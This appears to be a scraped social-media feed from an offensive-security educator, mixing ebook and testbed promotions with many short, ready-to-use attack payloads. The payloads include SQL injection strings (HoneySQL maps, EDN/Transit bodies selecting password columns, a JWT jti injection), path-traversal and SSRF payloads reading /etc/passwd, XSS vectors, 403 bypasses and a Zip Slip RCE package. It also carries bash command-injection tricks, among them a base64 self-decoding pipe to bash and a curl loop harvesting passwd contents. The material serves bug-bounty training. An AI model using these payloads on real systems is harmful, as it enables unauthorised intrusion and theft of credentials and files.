OAuth Bypass Testbed
Test your skills against a LOGIN (randomly vulnerable) and/or 17 AUTHENTICATION SERVER endpoints.
Like with JWT (JBroken), our fully automated OAuth tool (OBroken) with complete FFF (Find, Forge, Fire) PoCs, aces this testbed.
13 Original OAuth Attack Techniques
OAuth is the login layer of the modern web.
Every "Continue with Google." Every "Sign in with GitHub." Every SSO button on every SaaS you've ever tested. All OAuth under the hood.
Most implementations are broken in ways that aren't
The Underscore Twin
Backend trusts X-Forwarded-User? Send the twin the proxy forgot to strip:
X_Forwarded_User: admin
CGI/FastCGI/WSGI turn hyphens to underscores, so it becomes like X-Forwarded-User. Proxy strips the real one, backend reads yours.
Caddy (CVE-2026-52845).
Ready to Run
We don't share BB stories.
We share what you can use.
1. Payloads, techniques, 1-liners
2. References, CVEs, insights on vulns
3. Tools, testbeds, ebooks
Learn them once and you will be able to find more bugs in your next hunting session.
https://brutelogic.net/ebooks
Plain Data, Real SQL
EDN is Clojure native data as text. It carries keywords JSON cannot, and most apps decode it by default.
Content-Type: application/edn
{:id {:where [:= :is_superuser true] :from [:core_user] :select [:password]}}
Keywords run as SQL, order is free.
SQLi with HoneySQL Maps
A JSON field that should be a number, sent as a map, becomes SQL:
{"id":{"raw":"1 or 1=1"}}
HoneySQL is the default SQL builder for Clojure apps, and it turns the JSON you send into database queries. Some keys are instructions, not data. :raw means
If You Value What We Do
We put real time and energy into this community every day. Offensive security, free, for every level.
Independent work, backed by no one but the people who find it useful. If that is you, the ebooks keep it going.
A Sweet Bypass
Transit (typed JSON) encodes keywords JSON can't and most Clojure apps decode it too via muuntaja lib.
Content-Type: application/transit+json
["^ ","~:user-id",["^ ","~:from",["~:core_user"],"~:select",["~:password"]]]
Query order is free and no :raw needed.
SQLi with HoneySQL Maps
A JSON field that should be a number, sent as a map, becomes SQL:
{"id":{"raw":"1 or 1=1"}}
HoneySQL is the default SQL builder for Clojure apps, and it turns the JSON you send into database queries. Some keys are instructions, not data. :raw means
Question a dumb human and see how dumb they are.
Question a smart human and see how smart they are.
Question an AI model and see how ________ YOU are.
Classic Padding Oracle in 2026
Envoy is a reverse proxy running in front of a huge chunk of the web. Targets doing OAuth2 login behind it were exposed to this.
CVE-2026-47775. Envoy’s OAuth2 filter encrypted a cookie and never checked if it was tampered with.
# Try all 256
Stop skipping crypto bugs.
This book turns padding and compression oracles, PRNG recovery and hash length extension into working bash/curl/Python PoCs.
Session hijacks, admin forges, CSRF extraction, signature forgery.
https://brutelogic.net/ebooks/aftermath/statistical
4 attack families, 21 real CVEs.
Stop skipping crypto bugs.
This book turns padding and compression oracles, PRNG recovery and hash length extension into working bash/curl/Python PoCs.
Session hijacks, admin forges, CSRF extraction, signature forgery.
https://brutelogic.net/ebooks/aftermath/statistical
4 attack families, 21 real CVEs.
Redirector for SSRF
Most filters only check the first URL.
Redirects slip right past them.
600+ payloads in 4 categories, easy to automate.
The data/instruction boundary was always a simulation.
AI broke it.
This is a great lesson on BYPASS.
I found a critical auth bypass that resulted in a $10K bounty due to mass PII exfiltration. Here’s the technique:
The endpoint had 3 checks:
1. JWT auth at the gateway
2. Backend path validation
3. A trusted-client header check
The bypass came from defeating each one
Brute Bundle
6 ebooks + XSS Cheat Sheet (bonus)
Cryptographic oracles, token forgery, SSRF chains, WAF/filter evasion and bug bounty fundamentals.
https://brutelogic.net/ebooks/brute-bundle
$149 value for just $99
JWT SQL Injection
jti (JWT ID) is stored in a DB to prevent token replay.
That lookup is injectable.
"jti": "' OR '1'='1"
Try it: https://403.brutelogic.net/authz/jwt/jti
Full technique: https://brutelogic.net/ebooks/broken-token/jwt
JBroken is our proprietary tool that uses the ebook's FFF PoC technique.
Have a deeper understanding of security and get ready for its future in the Intelligence Age.
This really helps for SSRFs!
Thanks @BRuteLogic : )
Path Traversal Bypasses
Null Byte Injection
../../../etc/./passwd%00.png
Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd
Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd
Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././
/server-status
403 Forbidden
/server%2Dstatus
200 OK
Program: Slack
Year: 2016
Bounty: 2k
#hack2earn
SSRF Payloads for LFR/LFD
file:/etc//passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/%3F/../passwd
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
SSRF POLYGLOT
file:///etc/./passwd?/../passwd
#CF403
PHP Null Byte on Parameter Trick
Use to fool WAFs that decode before parsing.
It might consider the anchor with dangling (but harmless) markup instead of the real vector.
param%00p%3D<A/Href="<Svg/OnLoad=alert(1)//
More on
PoC https://gym.brutelogic.net/?p05%00p%3D%3CA/Href=%22%3CSvg/OnLoad=alert(1)//
Localhost with Ideographic Full Stop (IFS)
http://127%E3%80%820%E3%80%820%E3%80%821
http://127%EF%BD%A10%EF%BD%A10%EF%BD%A11
Combining these with the other bypass techniques described below can make all the difference.
#SSRF #BugBounty
Top 10 File-Specific Leaks
Target: config.php
01 - config.php.bak
02 - config.php.old
03 - config.php~
04 - config.php.orig
05 - .config.php.swp
06 - config.php.tmp
07 - _config.php
08 - http://config.php.save
09 - config.php.txt
10 - http://config.php.zip
#Recon #BugBounty
Our XSS testbed now on its own subdomain
My Favorite Payload
/1#\
SQL Injection on vulnerable login form.
Reference:
JSi - Escape the Escape
Chinese & Japanese Charsets
GBK, GBK2312, GBK19030
%81'/alert(1)//
ISO-2022-JP
%1B%28%4A'/alert(1)//
Bypass this filter:
'-alert(1)-' ➡️ \'-alert(1)-\'
\'-alert(1)// ➡️ \\\'-alert(1)//
More tricks in the ebook:
https://brutelogic.net/brute-art-bypass
#hack2learn
Broken Token Series - JWT and OAuth
https://brutelogic.net/ebooks/broken-token/jwt
https://brutelogic.net/ebooks/broken-token/oauth
Know every way to break to break those tokens.
Exclusive FFF PoC framework - Find, Forge and Fire.
What are your technical needs for cybersecurity now?
Let us know and we might figure a way to help you out.
We can build something customized for you.
You can benefit from our experience to level up your game.
One Bit, Full Decryption
If an app encrypts session data client-side and stores it in a cookie, it may be vulnerable to a padding oracle attack. No key needed, just math.
Flip one byte in the encrypted cookie.
Two distinct responses means the oracle is there.
Endpoints most
Stop guessing at crypto bugs.
This gives you working bash/curl/Python PoCs that turn timing, size and status leaks into actual session hijacks, admin forges and CSRF extractions: the exact attacks that still pay on real programs.
https://brutelogic.net/ebooks/aftermath/statistical
Real math. Real PoCs.
Stop guessing at crypto bugs.
This gives you working bash/curl/Python PoCs that turn timing, size and status leaks into actual session hijacks, admin forges and CSRF extractions: the exact attacks that still pay on real programs.
https://brutelogic.net/ebooks/aftermath/statistical
Real math. Real PoCs.
The Trailing Slash Bypass
A single slash can turn 403 into 200.
Anchored regexes like ^/access/rproxy/rewritepath$ block but app resolves /rewritepath/.
403
https://403.brutelogic.net/access/rproxy/rewritepath
200
Broken Access Control (BAC) is one of the easiest bugs to find.
First Bounty - How To Get It?
Focus your efforts on the vulnerability types that consistently deliver results for new hunters.
These account for the majority of first bounties and require systematic testing rather than advanced skills.
https://brutelogic.net/ebooks/first-bounty/#about
All the answers
First Bounty - How To Get It?
Focus your efforts on the vulnerability types that consistently deliver results for new hunters.
These account for the majority of first bounties and require systematic testing rather than advanced skills.
https://brutelogic.net/ebooks/first-bounty/#about
All the answers
JBroken - JWT Authorization Bypass Tool
JBroken is our proprietary tool backed by our testbed in 23 cases that came from the ebook.
Be in touch if you are interested to use it via an API along with other tools.
Check all the info we provide below.
JWT Authorization Bypass Testbed
https://403.brutelogic.net/authz/jwt
Broken Token JWT Ebook
https://brutelogic.net/ebooks/broken-token/jwt
Redirector for SSRF v1.3
=> Loopback randomized in the range
=> Host authority bypass set for LFR
=> TOCTOU dynamic DNS Rebind
Redirector for SSRF
https://brutelogic.net/r
Bypass regex-based filters redirecting your SSRF target to real payloads, cloud metadata, internal services, with extra tricks.
400+ entries, pick some or automate.
Copy the link, point your target at it, see what comes back.
Security in Collapse
- Hacking the Intelligence Age
Get ready for the future of security.
Work in progress, free.
SSRF - TOCTOU DNS Rebind
Exploits the difference between validator and fetcher.
Localhost:
http://make-203.0.113.5-rebind-127.0.0.1-rr.1u .ms
Replace 127.0.0.1 with any internal target, cloud metadata included.
Redirector for SSRF
Bypass regex-based filters redirecting your SSRF target to real payloads, cloud metadata, internal services, with extra tricks.
400+ entries, pick some or automate.
Copy the link, point your target at it, see what comes back.
SSRF Fundamentals
Discovery methodology. Parser bypasses. Blind exploitation chains. Cloud metadata attacks.
Five chapters, one systematic path.
This field runs deeper than most hunters ever go.
https://brutelogic.net/ebooks/ssrf-mastery-series/fundamentals/
Brute Testbeds
XSS
https://gym.brutelogic.net
Recon
https://recon.brutelogic.net
403
https://403.brutelogic.net/access
JWT
https://403.brutelogic.net/authz/jwt
OAuth
https://403.brutelogic.net/authz/oauth
https://brutelogic.net
Brute Bundle
AfterMath Statistical, Broken Token JWT and OAuth, SSRF Fundamentals, The Brute Art of Bypass and First Bounty.
Cryptographic oracles, token forgery, SSRF chains, WAF/filter evasion and bug bounty fundamentals.
https://brutelogic.net/ebooks/brute-bundle
All ebooks, one price.
Automate the Redirector
u=""; b=2; sig="root:x:0:0"; max=$(curl -s $u/ | grep -oP "(?<=$b=)\d+" | head -1); for i in $(seq 1 $max); do curl -s "$u/$b/$i" | grep "$sig" && echo "=> $u/$b/$i"; done
LFR example, swap vars b and sig for the other ones.
Redirector for SSRF
https://brutelogic.net/r
Redirects your SSRF target to real payloads, cloud metadata, internal services, filter bypasses, no hand-crafting needed.
400+ entries. Copy the link, point your target at it, see what comes back.
Redirector for SSRF
Redirects your SSRF target to real payloads, cloud metadata, internal services, filter bypasses, no hand-crafting needed.
400+ entries. Copy the link, point your target at it, see what comes back.
SSRF Fundamentals
Discovery methodology. Parser bypasses. Blind exploitation chains. Cloud metadata attacks.
Five chapters, one systematic path.
This field runs deeper than most hunters ever go.
https://brutelogic.net/ebooks/ssrf-mastery-series/fundamentals/
Methodology, payloads, tricks and an exclusive approach to vulnerabilities with original content.
If you are serious about Bug Bounty or Offensive Cybersecurity in general, this is for you.
Check them out.
403 Forbidden doesn't always mean that access controls are properly enforced... 😅
unKover by @brutelogic tests any target returning a 401/403 URL against proven bypass techniques like path normalization, IP header spoofing, HTTP request method tampering, and URL encoding! 🤠
Zip Slip - Import Features
Try on these:
import-project
restore-config
load-workspace
backup/import
Upload the file below and bang.
The Zip Bang for RCE
A zip extraction feature trusts the filenames inside the archive. No path sanitization, no traversal check.
We built a package with every common outcome baked in, one zip, five languages, five depth guesses, plus a root path targeting cron.
../b1.php
Break and Bypass - Tasting Menu
Comment & Jump Technique
UNION--%0ASELECT
Info Disclosure Easy Wins
/.git /.env /server-status /swagger.json
SSRF Polyglot for Filters
http://trusted.com@0177.0.0.1#@trusted.com
JWT jku Trust Abuse
Brute Bundle
AfterMath Statistical, Broken Token JWT and OAuth, SSRF Fundamentals, The Brute Art of Bypass and First Bounty.
Cryptographic oracles, token forgery, SSRF chains, WAF/filter evasion and bug bounty fundamentals.
https://brutelogic.net/ebooks/brute-bundle
All ebooks, one price.
403 Access Bypass Tester - UnKover
Built to find this and many more across our 33 cases testbed.
Fewer false positives, cleaner results.
Path Normalization 403 Bypass
Nginx might fall for a mismatch in the location block.
Blocked
https://403.brutelogic.net:8080/access/nginx/path
Bypass
https://403.brutelogic.net:8080/./access/nginx/path
Single dot + slash: access granted.
This Week on BRute Logic
Bash RCE Bypass Tricks
https://x.com/BRuteLogic/status/2086821872134750404
Brute Bundle - All ebooks $99
https://x.com/BRuteLogic/status/2087179979746369821
Testbeds - XSS, Recon, 403, JWT, OAuth
https://x.com/BRuteLogic/status/2087184575277437422
Bypassing Cloudflare on X
https://x.com/BRuteLogic/status/2087532289508938034
This Week on BRute Logic
Bash RCE Bypass Tricks
https://x.com/BRuteLogic/status/2086821872134750404
Brute Bundle - All ebooks $99
https://x.com/BRuteLogic/status/2087179979746369821
Testbeds - XSS, Recon, 403, JWT, OAuth
https://x.com/BRuteLogic/status/2087184575277437422
Bypassing Cloudflare on X
I've been bypassing CloudFlare here on X consistently on every payload I share.
Try to post this here on X with just 1 slash between etc and passwd to see for yourself.
Saying goodbye to one of my most beloved tools.
Thank you, @BRuteLogic, for all the memories. 🙂
Rest well, KNOXSS. You’ll be missed.
I've been bypassing CloudFlare here on X consistently on every payload I share.
Try to post this here on X with just 1 slash between etc and passwd to see for yourself.
Bash RCE Bypass Tricks
Empty Quote Split
c''at /etc//passwd
Brace Expansion
{cat,/etc//passwd}
IFS Space Replace
cat${IFS,}/etc//passwd
Wildcard Path
/???/ca? /e*/p*wd
Reverse Execution
$(rev<<<'dwssap/cte/ tac')
Base64 Self-Decode
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash
XSS Testbed
https://gym.brutelogic.net
Recon Labs - Offensive Recon Testbed
https://recon.brutelogic.net
403 Bypass Testbed - Access Control
https://403.brutelogic.net/access
JWT Authorization Bypass Testbed
https://403.brutelogic.net/authz/jwt
OAuth Authorization Bypass Testbed
Brute Bundle
AfterMath Statistical, Broken Token JWT and OAuth, SSRF Fundamentals, The Brute Art of Bypass and First Bounty.
Cryptographic oracles, token forgery, SSRF chains, WAF/filter evasion and bug bounty fundamentals.
https://brutelogic.net/ebooks/brute-bundle
All ebooks, one price.
Bash RCE Bypass Tricks
Empty Quote Split
c''at /etc//passwd
Brace Expansion
{cat,/etc//passwd}
IFS Space Replace
cat${IFS,}/etc//passwd
Wildcard Path
/???/ca? /e*/p*wd
Reverse Execution
$(rev<<<'dwssap/cte/ tac')
Base64 Self-Decode
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash
This Week on BRute Logic
Reset Link Hijack
https://x.com/BRuteLogic/status/2084279369451897008
Check all testbeds
https://x.com/BRuteLogic/status/2084299315845972297
SSRF Network Polyglots
https://x.com/BRuteLogic/status/2084647810784166242
The Zip Bang for RCE
https://x.com/BRuteLogic/status/2085372631591620929
https://x.com/BRuteLogic/status/2084647488737231010
This Week on BRute Logic
Reset Link Hijack
https://x.com/BRuteLogic/status/2084279369451897008
Check all testbeds
https://x.com/BRuteLogic/status/2084299315845972297
SSRF Network Polyglots
https://x.com/BRuteLogic/status/2084647810784166242
The Zip Bang for RCE
https://x.com/BRuteLogic/status/2085372631591620929
SSRF pays well and the attack surface keeps expanding. Most hunters test randomly and miss what matters.
Discovery, parser exploitation, blind confirmation chains, cloud metadata attacks. The path to consistent five-figure bounties.
http://brutelogic.net/ebooks/ssrf-mastery-series/fundamentals
SSRF Network Polyglots
1. Backend (curl, Python, PHP):
http://trusted.com@0177.0.0.1#@trusted.com
2. Browser-triggered
(redirects, img/iframe, client fetch):
http:/\a@trusted.com@0177%EF%BD%A10%EF%BD%A10%EF%BD%A11#@trusted.com
Browsers normalize what backend clients reject.
SSRF pays well and the attack surface keeps expanding. Most hunters test randomly and miss what matters.
Discovery, parser exploitation, blind confirmation chains, cloud metadata attacks. The path to consistent five-figure bounties.
http://brutelogic.net/ebooks/ssrf-mastery-series/fundamentals
10 Years of XSS Bypass
I spent a decade popping alert boxes in places filters said were impossible. Every WAF, every custom filter, every regex written by someone who underestimated what an attacker would try.
This is not a payload list. It is the methodology behind every
The systematic guide to bypassing XSS filters and WAFs.
Learn the methodology that maps filter behavior, exploits human assumptions, and finds bypasses others miss.
https://brutelogic.net/ebooks/brute-art-bypass
JWT SQL Injection
jti (JWT ID) is stored in a DB to prevent token replay.
That lookup is injectable.
"jti": "' OR '1'='1"
Try it: http://403.brutelogic.net/authz/jwt/jti
Full technique: http://brutelogic.net/ebooks/broken-token/jwt/
#hack2earn #bugbounty #jwt
Find your last XSS vulnerabilities with KNOXSS or try it while it's still available.
IMPORTANT ANNOUNCEMENT
After 10 years delivering countless XSS PoCs and bounties for lots of hunters, KNOXSS will be shut down at the end of this year.
Expect periodic reminders about this until then.